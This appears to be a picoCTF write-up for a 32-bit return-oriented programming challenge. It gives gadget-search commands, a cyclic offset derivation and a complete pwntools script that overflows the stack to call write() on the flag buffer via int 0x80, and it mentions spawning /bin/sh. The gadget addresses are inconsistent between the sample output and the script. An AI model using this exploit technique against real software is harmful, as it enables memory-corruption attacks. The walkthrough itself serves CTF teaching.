Description
No win() function this time - you must build a Return-Oriented Programming (ROP) chain from gadgets already present in the binary to call a system write or execve to print the flag.
ROP chains work by chaining small code snippets ('gadgets') ending in ret, each setting up registers or performing operations, ultimately executing a syscall.
Setup
Download the binary. Check mitigations with checksec.
Install ROPgadget: pip install ropgadget.
Find useful gadgets and build the chain.
wget https://artifacts.picoctf.net/c/327/vuln && chmod +x vulnchecksec --file=vulnROPgadget --binary vuln | grep -E 'pop|syscall|int 0x80'Solution
Walk me through itFor the underlying mechanics of stitching gadgets together when there's no libc to lean on, see the ROP Chain Without libc guide. For pwntools idioms used in the script below (ELF, p32, remote), see Pwntools for CTF.
- Step 1Enumerate ROP gadgetsUse ROPgadget to find pop/ret sequences for each register you need to control (EAX for syscall number, EBX for arg1, ECX for arg2, EDX for arg3).bash
ROPgadget --binary vuln --rop | grep 'pop eax ; ret'bashROPgadget --binary vuln --rop | grep 'pop ebx ; ret'bashROPgadget --binary vuln --rop | grep 'int 0x80'bashROPgadget --binary vuln --rop | grep 'pop ecx ; pop edx ; ret'Each ROPgadget output line maps directly to a Python literal in the chain:
$ ROPgadget --binary vuln --rop | grep 'pop ebx ; ret' 0x0805399e : pop ebx ; ret # becomes: payload += p32(0x0805399e) payload += p32(1) # value popped into ebxLearn more
A ROP gadget is a short sequence of instructions ending with a
ret(return) instruction. By overwriting the stack with a sequence of gadget addresses (each followed by its arguments), you chain the gadgets:retpops the next address off the stack into EIP, executing the next gadget.For a 32-bit Linux
write(1, buf, len)syscall you need:pop eax; retwith value4(syscall number for write)pop ebx; retwith value1(fd = stdout)pop ecx; retwith the address of the flag bufferpop edx; retwith the length to printint 0x80(trigger the syscall)
NX (No-eXecute) prevents injecting and running shellcode, but it cannot stop ROP because ROP reuses existing executable code. Defeating ROP requires ASLR + no info-leak (you cannot find gadget addresses), plus CFI (Control Flow Integrity) which restricts valid branch targets.
- Step 2Locate the flag and derive the overflow offsetTwo pieces of intel before you build the chain: where the flag string lives in the binary, and how far past the buffer your input has to go before it overwrites EIP.bash
objdump -t vuln | grep -i flagbashstrings -tx vuln | grep -i picobashcyclic 80 | nc saturn.picoctf.net <PORT_FROM_INSTANCE>bash# read the crashed EIP value from a core dump or gdb, then:bashcyclic -l 0x6161616c # prints the offsetFor the flag address,
objdump -t vuln | grep flaglists any symbol whose name contains "flag". If the binary stores the literal flag string in a fixed section,strings -tx vuln | grep picoreturns the file offset:$ objdump -t vuln | grep -i flag 0804c060 g O .bss 00000040 flag $ strings -tx vuln | grep pico 2050 picoCTF{...}Use the symbol address (
0x0804c060) directly for theecxargument towrite.For the offset to EIP, send a cyclic pattern instead of guessing:
$ cyclic 80 aaaabaaacaaadaaaeaaafaaagaaa... $ python3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(80)); p.wait()" $ dmesg | tail -1 # or open the core file in gdb ... eip 0x6161616c ... $ python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))" 44That 44 is the value to use as
OFFSETin the payload.Learn more
For a write() syscall approach, you need the address of a buffer containing the flag data. If the binary reads the flag into a global buffer (common in CTFs), you can find its address from the BSS section.
Alternatively, if the flag is in a file (
flag.txt), you can build a more complex ROP chain that callsopen(),read(), thenwrite()- or just callexecve("/bin/sh", NULL, NULL)to spawn a shell and read the file manually.strings -t xprints the offset (in hex) of each string within the binary. Combined with the binary's load address (from objdump), you can compute the runtime virtual address. - Step 3Build and send the ROP chain with pwntoolsAssemble the gadgets and arguments into the payload. Pad to the offset, then append the ROP chain.python
python3 -c " from pwn import * elf = ELF('./vuln') rop = ROP(elf) # Find gadgets (adjust addresses to what ROPgadget found) pop_eax = 0x0805399e # pop eax ; ret pop_ebx = 0x08049022 # pop ebx ; ret pop_ecx_edx = 0x08049e39 # pop ecx ; pop edx ; ret int_0x80 = 0x080494b6 # int 0x80 # Address of flag buffer in BSS / data flag_buf = elf.bss(0x50) # or a hardcoded address OFFSET = 44 # offset to EIP payload = b'A' * OFFSET payload += p32(pop_eax) payload += p32(4) # sys_write = 4 payload += p32(pop_ebx) payload += p32(1) # fd = stdout payload += p32(pop_ecx_edx) payload += p32(flag_buf) # buf address payload += p32(50) # length payload += p32(int_0x80) p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>) p.sendlineafter(b':', payload) print(p.recvall().decode(errors='replace')) "Learn more
The ROP chain above calls
write(1, flag_buf, 50)using int 0x80 (32-bit Linux syscall interface). The chain sets each register with a pop gadget, then executes the syscall. Each gadget'sretpops the next address from the stack, advancing through the chain.In practice, finding the right gadgets requires iterating through ROPgadget's output and matching what's available. Not every binary has every combination - you may need to combine multiple gadgets creatively (e.g., use
pop eax; pop ebx; retif individual pops aren't available).pwntools' built-in ROP class (
rop.syscall(4, 1, flag_buf, 50)) can automate gadget selection if the binary has enough gadgets. For lean binaries, manual gadget assembly is necessary.
Flag
picoCTF{ROP_1t_d0nt_st0p_...}
Build a ROP chain: pop eax=4 (write), pop ebx=1 (stdout), pop ecx=flag_addr, pop edx=length, int 0x80. No win() needed - gadgets from the binary do the work.